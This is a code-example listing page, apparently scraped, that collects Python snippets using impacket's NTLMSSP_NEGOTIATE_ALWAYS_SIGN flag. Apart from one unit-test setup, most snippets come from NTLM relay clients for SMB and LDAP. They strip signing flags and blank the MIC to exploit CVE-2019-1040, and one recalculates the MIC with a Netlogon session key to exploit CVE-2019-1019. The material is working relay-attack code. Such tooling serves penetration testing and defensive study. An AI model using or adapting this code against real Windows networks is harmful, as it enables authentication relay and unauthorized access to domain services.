Python ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN屬性代碼示例

# 需要導入模塊: from impacket import ntlm [as 別名]
# 或者: from impacket.ntlm import NTLMSSP_NEGOTIATE_ALWAYS_SIGN [as 別名]
def setUp(self):
        # Turn test case mode on
        ntlm.TEST_CASE = True
        self.user = "User"
        self.domain = "Domain"
        self.password = "Password"
        self.serverName = "Server"
        self.workstationName = "COMPUTER"
        self.randomSessionKey = b("U"*16)
        self.time = b('\x00'*8)
        self.clientChallenge = b("\xaa"*8)
        self.serverChallenge = b("\x01\x23\x45\x67\x89\xab\xcd\xef")
        self.flags =  ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH | ntlm.NTLMSSP_NEGOTIATE_56 | ntlm.NTLMSSP_NEGOTIATE_128 | ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_NEGOTIATE_SEAL | ntlm.NTLMSSP_NEGOTIATE_SIGN | ntlm.NTLM_NEGOTIATE_OEM | ntlm.NTLMSSP_NEGOTIATE_UNICODE
        self.seqNum = 0
        self.nonce = b('\x00'*16)
        self.plaintext = 'Plaintext'.encode('utf-16le')

        print("## BEFORE RUNNING THESE TESTS")
        print("Don't forget to set up aTime = '\\x00'*8 in computeResponseNTLMv2 otherwise the results won't be right. ")
        print("Look for that in ntlm.py and uncomment the lines, comment the other ones and don't forget to revert everything back whenever finished testing")
        print("Flags")
        hexdump(struct.pack('<L',self.flags)) 

# 需要導入模塊: from impacket import ntlm [as 別名]
# 或者: from impacket.ntlm import NTLMSSP_NEGOTIATE_ALWAYS_SIGN [as 別名]
def do_ntlm_negotiate(self,token):
            if self.target[0] == 'SMB':
                try:
                    self.client = SMBRelayClient(self.target[1], extended_security = True)
                    self.client.setDomainAccount(self.server.config.machineAccount, self.server.config.machineHashes, self.server.config.domainIp)
                    self.client.set_timeout(10)
                    negotiate = ntlm.NTLMAuthNegotiate()
                    negotiate.fromString(token)
                    #Remove the signing flag
                    negotiate['flags'] ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN
                    clientChallengeMessage = self.client.sendNegotiate(negotiate.getData()) 
                except Exception, e:
                    logging.error("Connection against target %s FAILED" % self.target[1])
                    logging.error(str(e))
                    return False 

# 需要導入模塊: from impacket import ntlm [as 別名]
# 或者: from impacket.ntlm import NTLMSSP_NEGOTIATE_ALWAYS_SIGN [as 別名]
def sendNegotiate(self, negotiateMessage):
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION

        negotiateMessage = negoMessage.getData()

        challenge = NTLMAuthChallenge()
        if self.session.getDialect() == SMB_DIALECT:
            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
        else:
            challenge.fromString(self.sendNegotiatev2(negotiateMessage))

        self.negotiateMessage = negotiateMessage
        self.challengeMessage = challenge.getData()

        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
        self.sessionData['CHALLENGE_MESSAGE'] = challenge
        self.serverChallenge = challenge['challenge']

        return challenge 

# 需要導入模塊: from impacket import ntlm [as 別名]
# 或者: from impacket.ntlm import NTLMSSP_NEGOTIATE_ALWAYS_SIGN [as 別名]
def sendNegotiate(self, negotiateMessage):
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION

        negotiateMessage = negoMessage.getData()

        challenge = NTLMAuthChallenge()
        if self.session.getDialect() == SMB_DIALECT:
            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
        else:
            challenge.fromString(self.sendNegotiatev2(negotiateMessage))

        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
        self.sessionData['CHALLENGE_MESSAGE'] = challenge

        return challenge 

# 需要導入模塊: from impacket import ntlm [as 別名]
# 或者: from impacket.ntlm import NTLMSSP_NEGOTIATE_ALWAYS_SIGN [as 別名]
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

        authMessage = NTLMAuthChallengeResponse()
        authMessage.fromString(authenticateMessageBlob)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
            authMessage['MIC'] = b''
            authMessage['MICLen'] = 0
            authMessage['Version'] = b''
            authMessage['VersionLen'] = 0
            authenticateMessageBlob = authMessage.getData()

        if unpack('B', authenticateMessageBlob[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            # We need to wrap the NTLMSSP into SPNEGO
            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = authenticateMessageBlob
            authData = respToken2.getData()
        else:
            authData = authenticateMessageBlob



        if self.session.getDialect() == SMB_DIALECT:
            token, errorCode = self.sendAuthv1(authData, serverChallenge)
        else:
            token, errorCode = self.sendAuthv2(authData, serverChallenge)
        return token, errorCode 

# 需要導入模塊: from impacket import ntlm [as 別名]
# 或者: from impacket.ntlm import NTLMSSP_NEGOTIATE_ALWAYS_SIGN [as 別名]
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

        authMessage = NTLMAuthChallengeResponse()
        authMessage.fromString(authenticateMessageBlob)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
            authMessage['MIC'] = b''
            authMessage['MICLen'] = 0
            authMessage['Version'] = b''
            authMessage['VersionLen'] = 0
            authenticateMessageBlob = authMessage.getData()

        if unpack('B', authenticateMessageBlob[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            # We need to wrap the NTLMSSP into SPNEGO
            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = authenticateMessageBlob
            authData = respToken2.getData()
        else:
            authData = authenticateMessageBlob

        signingKey = None
        if self.serverConfig.remove_target:
            # Trying to exploit CVE-2019-1019
            # Discovery and Implementation by @simakov_marina and @YaronZi
            respToken2 = SPNEGO_NegTokenResp(authData)
            authenticateMessageBlob = respToken2['ResponseToken']

            errorCode, signingKey = self.netlogonSessionKey(authData)

            # Recalculate MIC
            res = NTLMAuthChallengeResponse()
            res.fromString(authenticateMessageBlob)

            newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:]
            relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob)

            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
            authData = respToken2.getData()

        if self.session.getDialect() == SMB_DIALECT:
            token, errorCode = self.sendAuthv1(authData, serverChallenge)
        else:
            token, errorCode = self.sendAuthv2(authData, serverChallenge)

        if signingKey:
            logging.info("Enabling session signing")
            self.session._SMBConnection.set_session_key(signingKey)

        return token, errorCode 

# 需要導入模塊: from impacket import ntlm [as 別名]
# 或者: from impacket.ntlm import NTLMSSP_NEGOTIATE_ALWAYS_SIGN [as 別名]
def sendNegotiate(self, negotiateMessage):
        # Remove the message signing flag
        # For SMB->LDAP this is required otherwise it triggers LDAP signing

        # Note that this code is commented out because changing flags breaks the signature
        # unless the client uses a non-standard implementation of NTLM
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

        self.negotiateMessage = negoMessage.getData()

        # Warn if the relayed target requests signing, which will break our attack
        if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
            LOG.warning('The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)')

        with self.session.connection_lock:
            if not self.session.sasl_in_progress:
                self.session.sasl_in_progress = True
                request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
                response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
                result = response[0]
                try:
                    sicily_packages = result['server_creds'].decode('ascii').split(';')
                except KeyError:
                    raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result)

                if 'NTLM' in sicily_packages:  # NTLM available on server
                    request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
                    response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
                    result = response[0]
                    if result['result'] == RESULT_SUCCESS:
                        challenge = NTLMAuthChallenge()
                        challenge.fromString(result['server_creds'])
                        return challenge
                else:
                    raise LDAPRelayClientException('Server did not offer NTLM authentication!')

    #This is a fake function for ldap3 which wants an NTLM client with specific methods 

# 需要導入模塊: from impacket import ntlm [as 別名]
# 或者: from impacket.ntlm import NTLMSSP_NEGOTIATE_ALWAYS_SIGN [as 別名]
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
            token = respToken2['ResponseToken']
        else:
            token = authenticateMessageBlob

        authMessage = NTLMAuthChallengeResponse()
        authMessage.fromString(token)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
            authMessage['MIC'] = b''
            authMessage['MICLen'] = 0
            authMessage['Version'] = b''
            authMessage['VersionLen'] = 0
            token = authMessage.getData()

        with self.session.connection_lock:
            self.authenticateMessageBlob = token
            request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)
            response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
            result = response[0]
        self.session.sasl_in_progress = False

        if result['result'] == RESULT_SUCCESS:
            self.session.bound = True
            self.session.refresh_server_info()
            return None, STATUS_SUCCESS
        else:
            if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS':
                raise LDAPRelayClientException('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )')
        return None, STATUS_ACCESS_DENIED

    #This is a fake function for ldap3 which wants an NTLM client with specific methods 

# 需要導入模塊: from impacket import ntlm [as 別名]
# 或者: from impacket.ntlm import NTLMSSP_NEGOTIATE_ALWAYS_SIGN [as 別名]
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

        authMessage = NTLMAuthChallengeResponse()
        authMessage.fromString(authenticateMessageBlob)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
            authMessage['MIC'] = b''
            authMessage['MICLen'] = 0
            authMessage['Version'] = b''
            authMessage['VersionLen'] = 0
            authenticateMessageBlob = authMessage.getData()

        if unpack('B', authenticateMessageBlob[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            # We need to wrap the NTLMSSP into SPNEGO
            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = authenticateMessageBlob
            authData = respToken2.getData()
        else:
            authData = authenticateMessageBlob

        signingKey = None
        if self.serverConfig.remove_target:
            # Trying to exploit CVE-2019-1019
            # Discovery and Implementation by @simakov_marina
            respToken2 = SPNEGO_NegTokenResp(authData)
            authenticateMessageBlob = respToken2['ResponseToken']

            errorCode, signingKey = self.netlogonSessionKey(authData)

            # Recalculate MIC
            res = NTLMAuthChallengeResponse()
            res.fromString(authenticateMessageBlob)

            newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:]
            relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob)

            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
            authData = respToken2.getData()

        if self.session.getDialect() == SMB_DIALECT:
            token, errorCode = self.sendAuthv1(authData, serverChallenge)
        else:
            token, errorCode = self.sendAuthv2(authData, serverChallenge)

        if signingKey:
            logging.info("Enabling session signing")
            self.session._SMBConnection.set_session_key(signingKey)

        return token, errorCode